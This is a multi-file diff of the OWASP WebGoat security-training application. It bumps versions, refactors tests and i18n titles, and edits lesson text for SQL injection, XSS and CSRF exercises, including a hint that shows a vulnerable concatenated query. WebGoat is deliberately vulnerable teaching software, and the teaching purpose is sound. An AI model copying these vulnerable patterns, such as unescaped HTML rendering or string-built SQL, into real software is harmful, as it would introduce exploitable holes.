@ -67,7 +67,7 @@ define(['jquery',
|
|||||||
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
|
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||||
success: function (data) {
|
success: function (data) {
|
||||||
//devs leave stuff like this in all the time
|
//devs leave stuff like this in all the time
|
||||||
console.log('phone home said ' + data);
|
console.log('phone home said ' + JSON.stringify(data));
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
@ -25,6 +25,9 @@ define(['jquery',
|
|||||||
self.navToPage(page);
|
self.navToPage(page);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
setInterval(function () {
|
||||||
|
this.updatePagination();
|
||||||
|
}.bind(this), 5000);
|
||||||
},
|
},
|
||||||
|
|
||||||
findPage: function(assignment) {
|
findPage: function(assignment) {
|
||||||
@ -60,7 +63,9 @@ define(['jquery',
|
|||||||
},
|
},
|
||||||
|
|
||||||
updatePagination: function() {
|
updatePagination: function() {
|
||||||
this.paginationControlView.updateCollection();
|
if ( this.paginationControlView != undefined ) {
|
||||||
|
this.paginationControlView.updateCollection();
|
||||||
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
getCurrentPage: function () {
|
getCurrentPage: function () {
|
||||||
@ -146,14 +151,23 @@ define(['jquery',
|
|||||||
return false;
|
return false;
|
||||||
},
|
},
|
||||||
|
|
||||||
|
removeSlashesFromJSON: function(str) {
|
||||||
|
// slashes are leftover escapes from JSON serialization by server
|
||||||
|
// for every two char sequence starting with backslash,
|
||||||
|
// replace them in the text with second char only
|
||||||
|
return str.replace(/\\(.)/g, "$1");
|
||||||
|
},
|
||||||
|
|
||||||
renderFeedback: function(feedback) {
|
renderFeedback: function(feedback) {
|
||||||
this.$curFeedback.html(polyglot.t(feedback) || "");
|
var s = this.removeSlashesFromJSON(feedback);
|
||||||
|
this.$curFeedback.html(polyglot.t(s) || "");
|
||||||
this.$curFeedback.show(400)
|
this.$curFeedback.show(400)
|
||||||
|
|
||||||
},
|
},
|
||||||
|
|
||||||
renderOutput: function(output) {
|
renderOutput: function(output) {
|
||||||
this.$curOutput.html(polyglot.t(output) || "");
|
var s = this.removeSlashesFromJSON(output);
|
||||||
|
this.$curOutput.html(polyglot.t(s) || "");
|
||||||
this.$curOutput.show(400)
|
this.$curOutput.show(400)
|
||||||
},
|
},
|
||||||
|
|
||||||
|
@ -76,24 +76,25 @@
|
|||||||
</a>
|
</a>
|
||||||
</li>
|
</li>
|
||||||
<li role="presentation" class="divider"></li>
|
<li role="presentation" class="divider"></li>
|
||||||
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#"
|
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">
|
||||||
th:text="#{version}">Version: <span
|
<span th:text="#{version}">Version:</span><span>: </span>
|
||||||
th:text="${@environment.getProperty('webgoat.build.version')}"></span></a>
|
<span th:text="${@environment.getProperty('webgoat.build.version')}"></span></a>
|
||||||
</li>
|
</li>
|
||||||
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#"
|
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">
|
||||||
th:text="#{build}">Build:
|
<span th:text="#{build}">Build:</span><span>: </span>
|
||||||
<span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li>
|
<span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li>
|
||||||
|
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
<div style="display:inline" id="settings">
|
<div style="display:inline" id="settings">
|
||||||
<!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">-->
|
<!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">-->
|
||||||
<!--<i class="fa fa-cog"></i>-->
|
<!--<i class="fa fa-cog"></i>-->
|
||||||
<!--</button>-->
|
<!--</button>-->
|
||||||
<button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up"
|
<a href="#reportCard">
|
||||||
th:title="#{report.card}">
|
<button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up"
|
||||||
<a href="#reportCard"><i class="fa fa-bar-chart-o"></i></a>
|
th:title="#{report.card}">
|
||||||
</button>
|
<i class="fa fa-bar-chart-o"></i>
|
||||||
|
</button>
|
||||||
|
</a>
|
||||||
<!--<button type="button" id="user-management" class="btn btn-default right_nav_button"-->
|
<!--<button type="button" id="user-management" class="btn btn-default right_nav_button"-->
|
||||||
<!--title="User management">-->
|
<!--title="User management">-->
|
||||||
<!--<i class="fa fa-users"></i>-->
|
<!--<i class="fa fa-users"></i>-->
|
||||||
|
@ -62,7 +62,7 @@ public class AssignmentEndpointTest {
|
|||||||
|
|
||||||
public void init(AssignmentEndpoint a) {
|
public void init(AssignmentEndpoint a) {
|
||||||
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
|
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
|
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
|
||||||
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
|
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
|
||||||
ReflectionTestUtils.setField(a, "webSession", webSession);
|
ReflectionTestUtils.setField(a, "webSession", webSession);
|
||||||
|
@ -63,7 +63,7 @@ public class LessonMenuServiceTest {
|
|||||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
|
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
|
||||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
@ -81,7 +81,7 @@ public class LessonMenuServiceTest {
|
|||||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
|
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
|
||||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
|
|
||||||
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||||
|
@ -72,7 +72,7 @@ public class LessonProgressServiceTest {
|
|||||||
@Before
|
@Before
|
||||||
public void setup() {
|
public void setup() {
|
||||||
Assignment assignment = new Assignment("test", "test");
|
Assignment assignment = new Assignment("test", "test");
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||||
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
|
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
|
||||||
|
@ -6,6 +6,7 @@ import org.junit.Test;
|
|||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.mockito.Mock;
|
import org.mockito.Mock;
|
||||||
import org.mockito.runners.MockitoJUnitRunner;
|
import org.mockito.runners.MockitoJUnitRunner;
|
||||||
|
import org.owasp.webgoat.i18n.PluginMessages;
|
||||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||||
import org.owasp.webgoat.session.Course;
|
import org.owasp.webgoat.session.Course;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
@ -40,10 +41,13 @@ public class ReportCardServiceTest {
|
|||||||
private UserTrackerRepository userTrackerRepository;
|
private UserTrackerRepository userTrackerRepository;
|
||||||
@Mock
|
@Mock
|
||||||
private WebSession websession;
|
private WebSession websession;
|
||||||
|
@Mock
|
||||||
|
private PluginMessages pluginMessages;
|
||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void setup() {
|
public void setup() {
|
||||||
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course)).build();
|
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build();
|
||||||
|
when(pluginMessages.getMessage(anyString())).thenReturn("Test");
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -53,7 +57,7 @@ public class ReportCardServiceTest {
|
|||||||
when(course.getTotalOfLessons()).thenReturn(1);
|
when(course.getTotalOfLessons()).thenReturn(1);
|
||||||
when(course.getTotalOfAssignments()).thenReturn(10);
|
when(course.getTotalOfAssignments()).thenReturn(10);
|
||||||
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
|
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
|
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
|
@ -62,7 +62,7 @@ public class UserTrackerRepositoryTest {
|
|||||||
|
|
||||||
userTrackerRepository.save(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
|
|
||||||
userTracker = userTrackerRepository.findOne("test");
|
userTracker = userTrackerRepository.findByUser("test");
|
||||||
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
|
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -77,7 +77,7 @@ public class UserTrackerRepositoryTest {
|
|||||||
|
|
||||||
userTrackerRepository.saveAndFlush(userTracker);
|
userTrackerRepository.saveAndFlush(userTracker);
|
||||||
|
|
||||||
userTracker = userTrackerRepository.findOne("test");
|
userTracker = userTrackerRepository.findByUser("test");
|
||||||
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
|
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -90,7 +90,7 @@ public class UserTrackerRepositoryTest {
|
|||||||
userTracker.assignmentFailed(lesson);
|
userTracker.assignmentFailed(lesson);
|
||||||
userTrackerRepository.saveAndFlush(userTracker);
|
userTrackerRepository.saveAndFlush(userTracker);
|
||||||
|
|
||||||
userTracker = userTrackerRepository.findOne("test");
|
userTracker = userTrackerRepository.findByUser("test");
|
||||||
userTracker.assignmentFailed(lesson);
|
userTracker.assignmentFailed(lesson);
|
||||||
userTracker.assignmentFailed(lesson);
|
userTracker.assignmentFailed(lesson);
|
||||||
userTrackerRepository.saveAndFlush(userTracker);
|
userTrackerRepository.saveAndFlush(userTracker);
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
|
|
||||||
|
@ -46,7 +46,6 @@ public class Flag extends Endpoint {
|
|||||||
@PostConstruct
|
@PostConstruct
|
||||||
public void initFlags() {
|
public void initFlags() {
|
||||||
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||||
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -56,7 +56,7 @@ public class ClientSideFiltering extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String getTitle() {
|
public String getTitle() {
|
||||||
return "Client side filtering";
|
return "client.side.filtering.title";
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
client.side.filtering.title=Client side filtering
|
||||||
ClientSideFilteringSelectUser=Select user:
|
ClientSideFilteringSelectUser=Select user:
|
||||||
ClientSideFilteringUserID=User ID
|
ClientSideFilteringUserID=User ID
|
||||||
ClientSideFilteringFirstName=First Name
|
ClientSideFilteringFirstName=First Name
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
<build>
|
<build>
|
||||||
<plugins>
|
<plugins>
|
||||||
|
@ -60,7 +60,7 @@ public class CrossSiteScripting extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String getTitle() {
|
public String getTitle() {
|
||||||
return "Cross Site Scripting";
|
return "xss.title";
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -1,4 +1,5 @@
|
|||||||
# XSS success, failure messages and hints
|
# XSS success, failure messages and hints
|
||||||
|
xss.title=Cross Site Scripting
|
||||||
xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue.
|
xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue.
|
||||||
xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy)
|
xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy)
|
||||||
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
|
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -33,7 +33,7 @@ public class CSRFLogin extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void markAssignmentSolvedWithRealUser(String username) {
|
private void markAssignmentSolvedWithRealUser(String username) {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(username);
|
UserTracker userTracker = userTrackerRepository.findByUser(username);
|
||||||
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
|
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
|
||||||
userTrackerRepository.save(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
}
|
}
|
||||||
|
@ -8,11 +8,11 @@ In this assignment you need to achieve to POST the following JSON message to our
|
|||||||
|
|
||||||
[source]
|
[source]
|
||||||
----
|
----
|
||||||
POST /csrf/feedback HTTP/1.1
|
POST /csrf/feedback/message HTTP/1.1
|
||||||
|
|
||||||
{
|
{
|
||||||
"name" : "WebGoat",
|
"name" : "WebGoat",
|
||||||
"email" : "webgoat@webgoat.org"
|
"email" : "webgoat@webgoat.org",
|
||||||
"content" : "WebGoat is the best!!"
|
"content" : "WebGoat is the best!!"
|
||||||
}
|
}
|
||||||
----
|
----
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -8,6 +8,7 @@ http-basics.hints.http_basic_quiz.1=Turn on Show Parameters or other features
|
|||||||
http-basics.hints.http_basic_quiz.2=Try to intercept the request with <a href='https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project' title='Link to ZAP'>OWASP ZAP</a>
|
http-basics.hints.http_basic_quiz.2=Try to intercept the request with <a href='https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project' title='Link to ZAP'>OWASP ZAP</a>
|
||||||
|
|
||||||
|
|
||||||
|
http-basics.empty=Try again, name cannot be empty.
|
||||||
http-basics.reversed=The server has reversed your name: {0}
|
http-basics.reversed=The server has reversed your name: {0}
|
||||||
|
|
||||||
http-basics.close=Try again: but this time enter a value before hitting go.
|
http-basics.close=Try again: but this time enter a value before hitting go.
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -5,12 +5,12 @@
|
|||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<packaging>pom</packaging>
|
<packaging>pom</packaging>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
|
|
||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<modules>
|
<modules>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -53,7 +53,7 @@ public class SqlInjectionAdvanced extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String getTitle() {
|
public String getTitle() {
|
||||||
return "SQL Injection (advanced)";
|
return "sql.advanced.title";
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -60,7 +60,7 @@ public class SqlInjection extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String getTitle() {
|
public String getTitle() {
|
||||||
return "SQL Injection";
|
return "sql.injection.title";
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -53,7 +53,7 @@ public class SqlInjectionMitigations extends NewLesson {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String getTitle() {
|
public String getTitle() {
|
||||||
return "SQL Injection (mitigations)";
|
return "sql.mitigation.title";
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -1,6 +1,12 @@
|
|||||||
#StringSqlInjection.java
|
#StringSqlInjection.java
|
||||||
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query.
|
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query.
|
||||||
EnterLastName=Enter your last name:
|
EnterLastName=Enter your last name:
|
||||||
|
|
||||||
|
sql.injection.title=SQL Injection
|
||||||
|
sql.mitigation.title=SQL Injection (mitigation)
|
||||||
|
sql.advanced.title=SQL Injection (advanced)
|
||||||
|
|
||||||
|
|
||||||
NoResultsMatched=No results matched. Try Again.
|
NoResultsMatched=No results matched. Try Again.
|
||||||
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command.
|
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command.
|
||||||
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName"
|
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName"
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
<dependencies>
|
<dependencies>
|
||||||
<dependency>
|
<dependency>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -8,6 +8,7 @@ import org.springframework.beans.factory.annotation.Value;
|
|||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.client.RestClientException;
|
||||||
import org.springframework.web.client.RestTemplate;
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
|
||||||
import java.time.LocalDateTime;
|
import java.time.LocalDateTime;
|
||||||
@ -39,7 +40,11 @@ public class MailAssignment extends AssignmentEndpoint {
|
|||||||
.contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username))
|
.contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username))
|
||||||
.sender("webgoat@owasp.org")
|
.sender("webgoat@owasp.org")
|
||||||
.build();
|
.build();
|
||||||
restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);
|
try {
|
||||||
|
restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);
|
||||||
|
} catch (RestClientException e ) {
|
||||||
|
return informationMessage().feedback("webwolf.email_failed").output(e.getMessage()).build();
|
||||||
|
}
|
||||||
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
|
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
|
||||||
} else {
|
} else {
|
||||||
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();
|
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();
|
||||||
|
@ -12,6 +12,7 @@
|
|||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
|
